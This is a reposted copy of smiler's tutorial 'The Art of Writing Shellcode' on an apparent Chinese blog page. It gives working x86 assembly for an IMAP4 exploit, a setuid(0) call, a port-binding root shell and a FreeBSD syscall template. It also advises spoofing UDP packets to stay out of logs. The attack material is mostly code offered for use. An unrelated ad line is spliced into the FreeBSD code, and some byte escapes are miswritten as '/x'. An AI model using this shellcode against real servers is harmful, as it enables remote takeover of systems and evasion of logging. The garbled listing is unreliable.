The Art of Writing Shellcode, by smiler

科技中介如何高效匹配技术供需?.docx 科技中介如何高效匹配技术供需? 立即下载
               The Art of Writing Shellcode, by smiler.
               ----------------------------------------

  Hopefully you are familiar with generic shell-spawning shellcode. If not
read Aleph's text "Smashing The Stack For Fun And Profit" before
reading further. This article will concentrate on the types of shellcode
needed to exploit daemons remotely. Generally it is much harder to exploit
remote daemons, because you do not have many ways of finding out the
configuration of the remote server. Often the shellcode has to be much
more complicated, which is what this article will focus on.

  I will start by looking at the ancient IMAP4 exploit. This is a fairly 
simple exploit. All you need to do is "hide" the /bin/sh" string in
shellcode (imapd converts all lowercase characters into uppercase). 
None of the instructions in the generic shell-spawning shellcode contain
lower-case characters, so you all you need do is change the /bin/sh
string. 

  It is the same as normal shellcode, except there is a loop which adds
0x20 to each byte in the "/bin/sh" string. I put in lots of comments so
even beginners can understand it. Sorry to all those asm virtuosos :] 

-----imap.S-------
.globl main
main:
jmp call
start:

popl %ebx /* get address of /bin/sh */
movl %ebx,%ecx  /* copy the address to ecx */
addb $0x6,%cl /* ecx now points to the last character */

loop:
cmpl %ebx,%ecx
jl skip     /* if (ecx<ebx) goto skip */
addb $0x20,(%ecx) /* adds 0x20 to the byte pointed to by %ecx */
decb %cl   /* move the pointer down by one */
jmp loop   
skip:

/* generic shell-spawning code */
movl %ebx,0x8(%ebx)
xorl %eax,%eax
movb %eax,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
xorl %eax,%eax
inc %al
int $0x80
call:
call start
.string "/x0f/x42/x49/x4e/x0f/x53/x48"
--------------

  This was a very simple variation on the generic shellcode and can be
useful to mask characters that aren't allowed by the protocol the daemon
uses. But when coding remote, or even local, exploits you have to be
prepared to write code which is much more complex. This usually means
writing shellcode that involves different syscalls. 
Useful syscalls are:

setuid(): To regain dropped root priviledges (e.g. wu-ftpd)
mkdir()/chdir()/chroot(): To drop back to root directory (e.g. wu-ftpd)
dup2(): To connect a tcp socket to the shell (e.g. BIND&rpc.mountd tcp-style )
open()/write(): To write to /etc/passwd (e.g. everything !)
socket(): To write connectionless shellcode, as explained later.

The actual syscall numbers can be found in <asm/unistd.h>

  Most syscalls in linux x86 are done in the same way. The syscall number
is put into register %eax, and the arguments are put into %ebx,%ecx and
%edx respectively. In some cases, where there are more arguments than
registers  it may be necessary to store the arguments in user memory and
store the address of the arguments in the register. Or, if an argument
is a string, you would have to store the string in user memory and pass
the address of string as the argument.  As before, the syscall is called
by "int $0x80". 
  You can potentially use any syscall, but the ones mentioned above should
just about be the only ones you will ever need.

  As an example heres a little shellcode snippet from my wu-ftpd exploit
that should execute setuid(0).

Note: you should always zero a register before using it.

---setuid.S----
.globl main
main:
xorl %ebx,%ebx /* zero the %ebx register, i.e. the 1st argument */
movl %ebx,%eax /* zero out the %eax register */
movb $0x17,%al /* set the syscall number */
int $0x80 /* call the interrupt handler */
---------------


Port-Binding Shellcode

  When you are exploiting a daemon remotely with generic shellcode, it is
necessary to have an active TCP connection to pipe the shell stdin/out/err
over. This is applicable to all the remote linux exploits I've seen so
far, and is the preferred method. 

  But it is possible that a new vulnerability may be found, in a daemon
that only offers a UDP service (SNMP for example).  Or it may only be
possible to access the daemon via UDP because the TCP ports are
firewalled etc. Current linux remote vulnerabilites are exploitable
via UDP - BIND as well as all rpc services run both UDP and TCP
services. Also, if you send the exploit via UDP it is trivial to spoof the
attacking udp packet so that you do not appear in any logs =) 
  
  To exploit daemons via UDP you could write shellcode to modify the
password file or to perform some other cunning task, but an interactive
shell is much more elite =] Clearly it is not possible to fit a UDP pipe
into shellcode, you still need a TCP connection. So my idea was to write
shellcode that behaved like a very rudimentary backdoor, it binds to a
port and executes a shell when it receives a connection. 

  I know for a fact that I wasn't the first one to write this type of 
shellcode, but no one has officially published it so...here goes. 

A basic bindshell program(without the style) looks like this:

int main()
{
        char *name[2];
        int fd,fd2,fromlen;
        struct sockaddr_in serv;

        fd=socket(AF_INET,SOCK_STREAM,0);
        serv.sin_addr.s_addr=0;
        serv.sin_port=1234;
        serv.sin_family=AF_INET;
        bind(fd,(struct sockaddr *)&serv,16);
        listen(fd,1);
        fromlen=16; /*(sizeof(struct sockaddr)*/
        fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
        /* "connect" fd2 to stdin,stdout,stderr */
        dup2(fd2,0);
        dup2(fd2,1);
        dup2(fd2,2);
        name[0]="/bin/sh";
        name[1]=NULL;
        execve(name[0],name,NULL);
}

  Obviously, this is going to require a lot more space than normal 
shellcode, but it can be done in under 200 bytes and most buffers are 
quite a bit larger than that.

  There is a slight complication in writing this shellcode as socket
syscalls are done slightly differently than other syscalls, under linux.
Every socket call has the same syscall number, 0x66. To differentiate
between different socket calls, a subcode is put into the register %ebx.
These can be found in <linux/net.h>. The important ones being:

SYS_SOCKET   1
SYS_BIND     2
SYS_LISTEN   4
SYS_ACCEPT   5

  We also need to know the values of the constants, and the exact
structure of sockaddr_in. Again these are in the linux include files.

AF_INET == 2
SOCK_STREAM == 1

struct sockaddr_in {
  short int sin_family; /* 2 byte word, containing AF_INET */
  unsigned short int sin_port; /* 2 byte word, containg the port in network byte order */ 
  struct in_addr sin_addr /* 4 byte long, should be zeroed */
  unsigned char pad[8]; /* should be zero, but doesn't really matter */
};

  Since there are only two registers left, the arguments must be placed
sequentially in user memory, and %ecx must contain the address of the
first. Hence we have to store the arguments at the end of the shellcode.
The first 12 bytes will contain the 3 long arguments, the next 16 will
contain the sockaddr_in structure and the final 4 will contain fromlen
for the accept() call. Finally the result from each syscall is held in
%eax.

So, without further ado, here is the portshell warez...

Again I've over-commented everything.

----portshell.S----
.globl main
main:

/* I had to put in a "bounce" in the middle of the code as the shellcode
 * was too big. If I had made it jmp the entire shellcode, the instruction
 * would have contained a null byte, so if anyone has a shorter version,
 * please send me it.
 */

jmp bounce
start:
popl %esi

/* socket(2,1,0) */
xorl %eax,%eax
movl %eax,0x8(%esi)  /* 3rd arg == 0 */
movl %eax,0xc(%esi)  /* zero out sock.sin_family&sock.sin_port */
movl %eax,0x10(%esi) /* zero out sock.sin_addr */
incb %al
movl %eax,%ebx       /* socket() subcode == 1 */
movl %eax,0x4(%esi)  /* 2nd arg == 1 */
incb %al
movl %eax,(%esi)     /* 1st arg == 2 */
movw %eax,0xc(%esi)  /* sock.sin_family == 2 */
leal (%esi),%ecx     /* load the address of the arguments into %ecx */
movb $0x66,%al       /* set socket syscall number */
int $0x80

/* bind(fd,&sock,0x10) */
incb %bl             /* bind() subcode == 2 */
movb %al,(%esi)      /* 1st arg == fd (result from socket()) */
movl %ecx,0x4(%esi)  /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi)  /* increase it by 12 bytes to point to sockaddr struct */
movb $0x10,0x8(%esi) /* 3rd arg == 0x10 */
movb $0x23,0xe(%esi) /* set sin.port */
movb $0x66,%al       /* no need to set %ecx, it is already set */
int $0x80 

/* listen(fd,2) */
movl %ebx,0x4(%esi) /* bind() subcode==2, move this to the 2nd arg */
incb %bl            /* no need to set 1st arg, it is the same as bind() */
incb %bl            /* listen() subcode == 4 */
movb $0x66,%al      /* again, %ecx is already set */
int $0x80

/* fd2=accept(fd,&sock,&fromlen) */
incb %bl            /* accept() subcode == 5 */
movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi) /* increase it by 12 bytes */
movl %ecx,0x4(%esi) /* copy address of arguments into 3rd arg */
addb $0x1c,0x4(%esi) /* increase it by 12+16 bytes */
movb $0x66,%al
int $0x80

/* KLUDGE */
jmp skippy
bounce:
jmp call
skippy:

/* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */
movb %al,%bl /* move fd2 to 1st arg */
xorl %ecx,%ecx /* 2nd arg is 0 */
movb $0x3f,%al /* set dup2() syscall number */
int $0x80
incb %cl       /* 2nd arg is 1 */
movb $0x3f,%al
int $0x80
incb %cl       /* 2nd arg is 2 */
movb $0x3f,%al
int $0x80

/* execve("/bin/sh",["/bin/sh"],NULL) */
movl %esi,%ebx
addb $0x20,%ebx /* %ebx now points to "/bin/sh" */
xorl %eax,%eax
movl %ebx,0x8(%ebx)
movb %al,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
/* exit(0) */
xorl %eax,%eax
movl %eax,%ebx 
incb %al
int $0x80
call:
call start
.ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh"
-----------------------------------------------------

Once you have sent the exploit, you only need to connect to port 8960, and
you have an interactive shell.

----------------[ FreeBSD shellcode

  Just in case all of that was all old hat to you, I'll take a little
foray into the world of BSD x86 shellcode. FreeBSD shellcode is in most
ways completely different. Primarily because syscalls are done by pushing 
arguments onto the stack and using a far call. The syscall number 
still goes in the %eax register however. OpenBSD is much the same but 
it uses an interrupt for syscalls. 

  The main complication in writing shellcode for FreeBSD is in the far
call (instruction lcall 7,0) which contains 5 null bytes. Obviously
you would need to write some basic self-modifying shellcode. Since this is
going to be used in every syscall you make, its best to put this into a
mini-function and call it whenever necessary. I wrote a little template
for this, it's easy enough to make it execute a shell or bind to a port.
Just incase you're wondering the syscall for execve is 0x3b.

----fbsd.S----
.globl main
main:
jmp call
start:
/* Modify the ascii string so it becomes lcall 7,0 */
popl %esi
xorl %ebx,%ebx
movl %ebx,0x1(%esi) /* zeroed long word */
movb %bl,0x6(%esi)  /* zeroed byte */
movl %esi,%ebx
addb $0x8,%bl /* ebx points to binsh */
jmp blah /* start the code */

call:
call start
syscall:
.ascii "/x9a/x01/x01/x01/x01/x07/x01" /* hidden lcall 7,0 */
ret
binsh:
.ascii "/bin/sh...."
blah:
/* put shellcode here */
call syscall 
!qhyb.rar 当 CAD 缺失对应字体时,图纸文字会显示异常,出现乱码、问号。将下载好的字体文件复制到 AutoCAD 的 Fonts 文件夹中,即可恢复正常显示。 立即下载

相关推荐

政府科技管理部门如何实现科技成果高效转化?.docx

政府科技管理部门如何实现科技成果高效转化?

Cracking the Windows File Protection

15/07/2002/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/*/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/* Cracking the Windows File Protection.A Maciavelic

柒十岁月 3427

librdkafka Windows 包(可直接使用)

librdkafka/win ├─ bin/ # 全部运行时dll + pdb调试符号 + plugins插件目录 ├─ include/ # 头文件 rdkafka.h └─ lib/ # .lib静态导入库(链接阶段使用)

关于RootKit端口隐藏的一篇原版文章

------------------------------------------------------------------------------------------- A Rootkit for netstat under win2k, By ThreaT----------------------------------------------------------------

柒十岁月 2945

X86汇编语言学习手记(2)

作者: BadcoffeeEmail: blog.oliver@gmail.com2004年11月原文出处: http://blog.csdn.net/yayong版权所有: 转载时请务必以超链接形式标明文章原始出处、作者信息及本声明这是作者在学习X86汇编过程中的学习笔记,难免有错误和疏漏之处,欢迎指正。作者将随时修改错误并将新的版本发布在自己的Blog站点上。严格说来,本篇文档更侧重于C语言和

柒十岁月 1465

X86汇编语言学习手记(1)

X86汇编语言学习手记(1)作者: BadcoffeeEmail: blog.oliver@gmail.com2004年10月原文出处: http://blog.csdn.net/yayong版权所有: 转载时请务必以超链接形式标明文章原始出处、作者信息及本声明这是作者在学习X86汇编过程中的学习笔记,难免有错误和疏漏之处,欢迎指正。作者将随时修改错误并将新的版本发布在自己的Blog站点上。严格说

柒十岁月 1400

Exploit,shellcode经验技巧谈

这 篇文章不是教你如何去写exploit,shellcode,而是希望提供一些关于编写或者研究exploit,shellcode的经验和技巧。适合理 解了shellcode编写原理的朋友。我看了很多相关文章,大部分的编写方法都是类似Aleph One的 《Smashing The Stack For Fun And Profit》里面的方法。其中safemode.org的zillion所写的 《W

柒十岁月 1369

使用Linux高效构建企业无线网关/防火墙

安全与带宽的危机 ---- 1999年初,某企业大厦网络(以下简称B大厦)受到了带宽和安全问题的困扰,为此,网络中心开始酝酿网络的升级改造。 ---- B大厦内有研究院、集团、公司等单位。大厦内所有的计算机使用某大学(以下简称A大学)校园网分配的真实Internet IP,共有7个24位掩码网段,下面又进一步划分了不同掩码长度的子网,计有近500台计算机,运行Windows NT、Windows

柒十岁月 1249

编写shellcodes 的方法

UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums. ============================================= 作者 : pr1 ( pr10n@u-n-f.com ) 翻译 : ICBM@0x557.org 非常感谢keji指出并改正了原文和翻译中出现的错误,THK u ! http://w

柒十岁月 1161

国有企业如何推动科技创新与产业升级融合?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

科技中介服务如何实现数字化升级?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

兄弟MFC-J2330DW 中文维修手册

兄弟MFC-J2330DW 中文维修手册

CesiumForUnitySamples-v1.25.1

Cesium for Unity 是一个官方插件,它将 Cesium 强大的3D 地理空间平台能力深度集成到了 Unity 引擎中。简单来说,它让你能在 Unity 里创建出一个高精度的真实地球,并加载和探索全球范围内的海量地理数据

政府科技管理部门如何降低平台建设成本?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

sam l part3 niubi666

sam l part3 niubi666

内窥镜摄像系统,全球前10强生产商排名及市场份额.docx

内窥镜摄像系统,全球前10强生产商排名及市场份额

RIS 智能超表面:6G 的"可编程无线电环境"如何靠 N² 定律改写覆盖规则

`RIS` `智能超表面` `6G` `可编程无线电环境` `波束成形` `N²定律` `相位优化` `Sionna` `毫米波` `通信仿真`

上一篇: 关于RootKit端口隐藏的一篇原版文章
下一篇: 编写shellcodes 的方法
linkqishi
博客等级 码龄21年 0粉丝 18原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值